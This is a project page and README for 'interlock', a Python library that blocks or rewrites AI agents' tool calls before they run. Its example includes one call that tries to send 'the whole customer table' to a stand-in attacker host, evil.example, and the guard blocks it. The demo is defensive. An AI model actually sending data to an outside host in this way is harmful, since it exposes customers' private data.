In-process guardrails for AI agents. Block or rewrite tool, MCP, and model calls before they run: 100+ detectors, hierarchical policy scopes, fail-closed by default!
https://interlock.sourceshift.ai/ β// momentum
// why it's here
- Created 8 weeks ago and already shipping
- Built almost entirely by one person
- Health 69/100 with only 7 stars
// how to help
// readme
interlock
Stop a bad tool call before your AI agent makes it.
interlock checks every tool call your agent makes, inside the agentβs own process, and allows, blocks, or rewrites it before anything happens. No proxy, no account, no network calls, and no dependencies.
import interlock
from interlock import Blocked, guard
from interlock.detectors import network_egress_guard, pii_redaction_guard
@guard()
def http_post(url: str, body: str) -> str:
return f"posted to {url}: {body}"
interlock.install(rules=[
network_egress_guard(allowed_hosts=["api.acme.com"]), # only talk to hosts you trust
pii_redaction_guard(), # mask secrets and personal data
])
http_post("https://api.acme.com/notes", "Card on file: 4111 1111 1111 1111")
# -> "posted to https://api.acme.com/notes: Card on file: [REDACTED CREDIT_CARD]"
http_post("https://evil.example/collect", "the whole customer table")
# -> raises Blocked: blocked action 'http_post': egress to 'evil.example' is not on the destination allowlist
The first call went through with the card number masked. The second never ran.